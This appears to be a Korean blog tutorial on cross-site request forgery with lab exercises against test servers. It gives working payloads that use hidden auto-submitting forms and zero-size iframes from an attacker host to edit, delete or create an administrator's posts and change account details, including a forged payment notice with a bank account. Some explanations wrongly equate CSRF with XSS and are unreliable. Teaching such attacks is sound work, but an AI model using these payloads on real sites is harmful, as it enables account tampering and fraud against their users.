웹/웹 보안

CSRF(Cross Site Request Forgery)

비니화이팅 2018. 7. 21. 09:08

CSRF(Cross Site Request Forgery)

앞서 XSS에 대해서 살펴봤습니다.

CSRF는 근본적인 원인이 XSS와 동일합니다. 그렇기 때문에 XSS취약점이 있다면 CSRF취약점도 존재한다고 봅니다.

그렇다면 차이는 무엇인지 살펴보도록 하겠습니다.


1. 공격 대상

XSS는 희생자의 PC에 있는 브라우저를 대상으로 공격을 진행하지만,

CSRF는 웹서버에 있는 게시판을 대상으로 공격을 진행합니다.


2. 세션

XSS는 희생자의 세션을 공격자의 서버에 보내는 것이고,
CSRF는 희생자의 세션을 이용하여 공격이 이루어집니다.


XSS는 쿠키값을 가져오는 것이고, CSRF는 해당 권한을 이용하여 미리 작성해둔 코드를 실행시키는 것입니다.

위의 문장을 잘 풀어쓰자면,

XSS는 앞에서 보셨듯이 희생자의 쿠키값을 탈취하고 그 쿠키값을 이용하여 희생자의 권한을 얻을 수 있습니다.

그러나 CSRF는 쿠키값을 가져와 권한을 얻는 것이 아닙니다. 우선, 공격자가 게시판에 공격코드를 저장하면 희생자가 해당 게시글을 클릭하게 됩니다. 그 순간 희생자의 브라우저에서 해당 공격코드가 실행됩니다. 즉, 해당 게시물을 클릭한 희생자의 권한으로 실행(요청)이 되는 것입니다.

 


이제 CSRF가 무슨 취약점인지 알아보았으니 해당 취약점은 어떻게 확인하는지 알아보겠습니다.

취약점 확인

간단합니다. 

XSS와 비슷하게 <input>, <textarea>에 태그를 넣어서 태그가 실행되면 취약하다고 판단합니다.



바로 실습으로 넘어가도록 하겠습니다.

실습-게시글 수정하기

 <시나리오>

 1. 관리자가 게시판에 글을 작성한다. (모임에 대한 공지)

 2. 공격자가 공격코드를 게시판에 글을 작성한다.

 3. 관리자가 공격자가 쓴 게시글을 조회한다.

 4. 조회하는 순간 공격이 수행된다.

 

공격자는 관리자가 쓴 글을 수정하고 싶어한다.

 

웹서버 IP : 192.168.10.129

공격자 IP : 192.168.10.130

 

관리자가 게시판에 모임공지라는 제목으로 게시물을 등록합니다.

 

공격자는 관리자가 공지한 게시물을 수정하고 싶지만 아래와 같이 게시글을 확인만 할 수 있을뿐, 수정 할 수 있는 권한은 없습니다.

 

공격자는 공격을 수행하기 앞서 비즈니스 로직을 파악합니다.

관리자가 공격자가 쓴 글을 클릭후 수정하면 어떤 패킷이 날라가는지 확인해봅니다.

(수정 시 호출되는 페이지는 굳이 패킷 확인을 하지 않고 ①하이퍼링크 우클릭-속성을 통해 확인 ② 마우스 갖다대어 브라우저 왼쪽 하단 확인 ③ 직접 들어가 보기 를 이용하여 확인할 수 있습니다.)


수정완료를 클릭했더니 board/update._reg.asp가 실행되면서 파라미터값도 같이 넘어가고 있습니다.

실제로 서버로 전송시에는 POST방식으로 전송되는 것을 확인할 수 있습니다.

(인코딩 된 파라미터 값 그대로 GET으로 바꿔서 보내도 결과는 똑같습니다.)


인코딩 되어있으므로 이것을 디코딩해봅시다. (한글이라 깨집니다ㅠㅠ)


이제 비즈니스 로직도 파악했으니 직접 공격코드르 작성해봅시다.

공격자가 직접 정상적으로 글을 수정하는 화면으로 가서 소스코드를 확인합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<html>
<head>
<title>마구마구 게시판 글 수정</title>
<link type="text/css" rel="stylesheet" href="all.css"/>
</head>
<body>
<center>
<table border="0" width="770">
 <tr>
 <td width="600" valign=top>
 <form action="board_update_reg.asp" method="POST">
 <table align="center" width=500 border="0">
  <tr><td colspan=2 align=center><h3>게시물 변경</h3></td></tr>
  <tr
   <td bgcolor="#80e12a" align=center width=15%>
    <font color="#495766">작성자</font>
   </td
   <td width=85%>
    <input type="text" name="user" value="공격자">
   </td
  </tr>
  <tr
   <td bgcolor="#80e12a" align=center width=15%>
    <font color="#495766">제 목</font>
   </td
   <td width=85%>
    <input type="text" name="title" value="test">
   </td
  </tr>
  <tr
   <td bgcolor="#80e12a" align=center width=15%>
    <font color="#495766">내 용</font>
   </td
   <td width=85%>
    <textarea name="contents" rows="10" cols="60">11112222</textarea>
   </td
  </tr
 </table>
 <input type="hidden" name="idx" value="9"><br>
 <p align="center">
 [<a href="board_list.asp">List</a>]
 <input type="submit" value="변경">
 <input type="reset" value="취소">
 </p>
 </form>
 </td>
 </tr>
 <tr>
  <td colspan=2 height=20></td>
 </tr>   
 <tr>
  <td colspan=2 height=1 bgcolor=#558bc7></td>
 </tr>
</table>
</br></br>
나는 attacker 입니다.
</center>
</body>
</html>
cs

참고로 form태그는 입력받은 데이터를 다른 페이지로 전송하는 역할을 합니다.

즉, 여기서는 입력받은 데이터를 POST방식으로 borad_update_reg.asp페이지에 전달함으로써 수정이 이루어지는 것을 확인할 수 있습니다. 

 

일단 위에 코드를 복사하여 조금씩 수정해가며 공격코드를 만들게 됩니다.

일단 form과 input태그만 남겨두도록 합니다. textarea도 필요없으니 지우도록 합니다.

1
2
3
4
5
6
<form action="board_update_reg.asp" method="POST">
<input type="text" name="user" value="공격자">
<input type="text" name="title" value="test">
<input type="hidden" name="idx" value="9">
<input type="submit" value="변경">
<input type="reset" value="취소">
cs


버튼 두개도 지워줍니다.

1
2
3
4
<form action="board_update_reg.asp" method="POST">
<input type="text" name="user" value="공격자">
<input type="text" name="title" value="test">
<input type="hidden" name="idx" value="9">
cs


실제로 게시글 수정시 패킷이 어떻게 날라가는지 확인해봅니다.


위에서 남겨놨던 user, title, idx외에도 contents도 보입니다. 이것에 맞춰 파라미터 형식을 맞춰줍시다.

1
2
3
4
5
<form action="board_update_reg.asp" method="POST">
<input type="text" name="user" value="공격자">
<input type="text" name="title" value="test">
<input type="text" name="contents" value="">
<input type="hidden" name="idx" value="9">
cs

 

여기서 idx는 게시글의 번호를 뜻하는 것을 알 수 있습니다.

공격자는 관리자가 쓴 글을 수정하고 싶어하기 때문에 해당 글의 번호인 7을 idx에 넣어줍니다.

또, user도 관리자로 변경해줍니다.

제목은 의심받지 않기 위해 그대로 둡시다.

1
2
3
4
5
<form action="board_update_reg.asp" method="POST">
<input type="text" name="user" value="관리자">
<input type="text" name="title" value="[공지사항] 모임공지">
<input type="text" name="contents" value="">
<input type="hidden" name="idx" value="7">
cs

 

관리자 몰래 전송되어야 하기 때문에 모두 hiddine으로 변경해줍니다.

1
2
3
4
5
<form action="board_update_reg.asp" method="POST">
<input type="hidden" name="user" value="관리자">
<input type="hidden" name="title" value="[공지사항] 모임공지">
<input type="hidden" name="contents" value="">
<input type="hidden" name="idx" value="7">
cs

 

action은 절대경로로 지정해주어야 합니다.

여기서 form태그의 name은 마음대로 지정해주면 되지만 대신 body태그의 onload에 명시된 document와 submit사이에 명시된 이름과 같아야 합니다.

아래의 코드는 해당 페이지가 실행되는 순간 이 코드를 수행해라 라는 뜻입니다. 

1
2
3
4
5
6
<body onload="document.csrf.submit();">
<form name="csrf" action="http://192.168.10.129/board/board_update_reg.asp" method="POST">
<input type="hidden" name="user" value="관리자">
<input type="hidden" name="title" value="[공지사항] 모임공지">
<input type="hidden" name="contents" value="">
<input type="hidden" name="idx" value="7">
cs

 

 공격자는 아래의 contents내용을 마음대로 작성하여 게시판에 등록합니다. 

1
2
3
4
5
6
7
<body onload="document.csrf.submit();">
<form name="csrf" action="http://192.168.10.129/board/board_update_reg.asp" method="POST">
<input type="hidden" name="user" value="관리자">
<input type="hidden" name="title" value="[공지사항] 모임공지">
<input type="hidden" name="contents" value="모임공지합니다.<BR><BR>1. 일시 : 2018-08-10<BR>2. 회비 : 100만원<BR>3. 장소 : 정문<BR>4. 계좌번호 : 555-5555-5555<BR><BR>감사합니다.">
<input type="hidden" name="idx" value="7">
</form>
cs


이때 역시 공백에 주의해야 합니다.

 

관리자는 공격자가 올린 게시글을 보고 클릭하게 됩니다. 


관리자가 올린 글이 바뀌어져 있는 것을 확인할 수 있습니다.

 

참고

만약에 게시글 작성하는 부분에 글자 수 제한이 되어있다면 어떻게 해야 할까요?

iframe태그를 이용하면 됩니다.

우선 공격자는 자신의 웹서버의 홈 디렉터리에 attacker_update.html라는 이름으로 공격 코드를 작성하고 저장합니다.


공격 코드는 위에서 작성한 코드와 동일합니다.

1
2
3
4
5
6
7
8
<body onload="document.csrf.submit();">
<form name="csrf" action="http://192.168.10.129/board/board_update_reg.asp" method="POST">
<input type="hidden" name="user" value="관리자">
<input type="hidden" name="title" value="[공지사항] 모임공지">
<input type="hidden" name="contents" value="모임공지합니다.<BR><BR>1. 일시 : 2018-08-10<BR>2. 회비 : 100만원<BR>3. 장소 : 정문<BR>4. 계좌번호 : 555-5555-5555<BR><BR>감사합니다.">
<input type="hidden" name="idx" value="7">
</form>
cs

이번에는 iframe을 이용하여 공격자가 자신의 웹 서버에 저장해놓은 html문서를 지정합니다.
iframe은 src로 지정한 문서를 실행하는 역할을 합니다.
1
<iframe src="http://192.168.10.130/attacker_update.html" width=0 height=0></iframe>
cs


위의 코드를 게시판에 작성합니다. 



실습-게시글 삭제하기

웹서버 IP : 192.168.10.129

공격자 IP : 192.168.10.130 


관리자가 올린 1번 글을 공격자가 삭제하고 싶어합니다.


공격자는 우선 글 삭제 로직을 파악해야 합니다.

삭제버튼을 누르니 borad_delete.asp가 호출, GET방식으로 삭제하는 게시판 번호를 넘기는 것을 확인할 수 있습니다.


공격자는 위에서 살펴본 내용을 토대로 공격코드를 작성합니다.

attacker_del.html이라는 이름의 html문서를 자신의 웹 서버 홈 디렉터리에 저장합니다.


공격 코드는 아래와 같습니다.

1
2
3
4
<body onload="document.csrf.submit();">
<form name="csrf" action="http://192.168.10.129/board/board_delete.asp?num=1" method="GET">
<input type="hidden" name="num" value="1">
</form>
cs


공격자는  iframe태그를 이용하여 자신이 작성한 공격 코드 문서를 지정해주고 이를 게시판에 올립니다.

1
<iframe src="http://192.168.10.130/attacker_del.html" width=0 height=0></iframe>
cs

마찬가지로 공백에 주의합니다.

 


관리자는 공격자가 작성한 csrf-del공격이라는 이름의 게시물을 클릭하게 됩니다. 


관리자가 올린 1번글이 삭제되었음을 확인할 수 있습니다.

 



실습-게시글 생성하기

웹서버 IP : 192.168.10.129


공격자는 관리자의 권한으로 게시판에 글을 작성하고 싶어합니다.


위에서 비즈니스 로직 파악과정, 코드 작성법은 간단하게 공격코드만 올려놓도록 하겠습니다.

1
2
3
4
5
<body onload="document.csrf.submit();">
<form name="csrf" action="http://192.168.10.129/board/board_write_reg.asp" method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="title" value="CSRF-글생성">
<input type="hidden" name="content" value="새로운글이 생성되었습니다.">
</form>
cs

 

공격자는 위의 코드를 게시판에 올립니다.


관리자는 공격자가 작성한 글을 보고 클릭하게 됩니다.


그 순간 관리자의 권한으로 게시판에 글이 올라가게 됩니다.

 



실습-회원정보 변경하기

웹서버 ip : 192.168.10.128

관리자의 회원정보는 아래와 같습니다. 이 회원정보를 공격자가 원하는대로 바꾸고 싶어합니다.

 

우선 공격자는 비즈니스 로직을 파악합니다.


공격자 자신의 회원정보 변경시 어떠한 패킷이 날라가는지 확인해봅니다.

이러한 로직은 사용자 권한에 관계없이 똑같이 적용됩니다.

GET방식으로 member_modify_ok.asp페이지를 호출하고 있습니다. 


위의 캡처 사진은 너무 길어서 짤렸기 때문에 아래에 적어놓았습니다.

exec는 modify를 한다는 액션을 의미하고,

nickname과 email파라미터가 같이 날라가는 것을 확인할 수 있습니다.

이 자체가 공격코드가 될 수 있습니다.

 http://192.168.10.128/member/member_modify_ok.asp

exec=modify&nickname=attacker&email=attacker@attacker.com HTTP/1.1


nickname과 email을 공격자가 수정하고 싶어하는 정보로 변경합니다.

 http://192.168.10.128/member/member_modify_ok.asp?exec=modify&nickname=new-admin&email=new-admin@attacker.com


게시판 안에 들어가는 공격코드는 아래와 같습니다.

둘 중 아무거나 쓰면 됩니다.

1
<iframe src="http://192.168.10.128/member/member_modify_ok.asp?exec=modify&nickname=new-admin&email=new-admin@attacker.com" width=30 height=30></iframe>
cs

 

1
2
3
4
5
6
7
<body onload="document.csrf.submit();">
<form name="csrf" action="http://192.168.10.128/member/member_modify_ok.asp" method="GET">
<input type="hidden" name="exec" value="modify">
<input type="hidden" name="nickname" value="new-admin">
<input type="hidden" name="email" value="new-admin@attacker.com">
</form>
 
cs


저는 iframe공격 코드를 게시판에 작성하였습니다.

 

관리자는 공격자가 작성한 글을 클릭합니다.


iframe태그의 크기를 0으로 주지 않아서 밑에 무언가 표시가 나왔네요. (들키지 않게 크기는 0으로 줍시다.)

 

 다시 관리자의 회원정보를 보니 변경되어 있음을 볼 수 있습니다.


 

참고

CSRF공격은 아래와 같은 경우에 수행할 수 있겠습니다.

1.개인정보 수정이나 비밀번호 변경 페이지에서 기존 비밀번호의 확인 없이 비밀번호 변경을 시행 하는 경우


2. 기존 비밀번호를 확인하는 경우라도 개발자들의 실수로 인하여 URL을 통해 기존 패스워드 인증절차 없이 바로 개인정보 수정 페이지로 가는 경우


3. XSS 취약점이 존재하는 경우 

Ex)

- 게시물 클릭 시 공격자가 입력해놓은 스크립트가 적용하여 공격자가 원하는 비밀번호로 스스로 변경 후 로그아웃 처리 

- 게시물 클릭 시 공격자가 입력해놓은 스크립트가 적용하여 공격자가 지정해놓은 내용으로 게시글 작성 등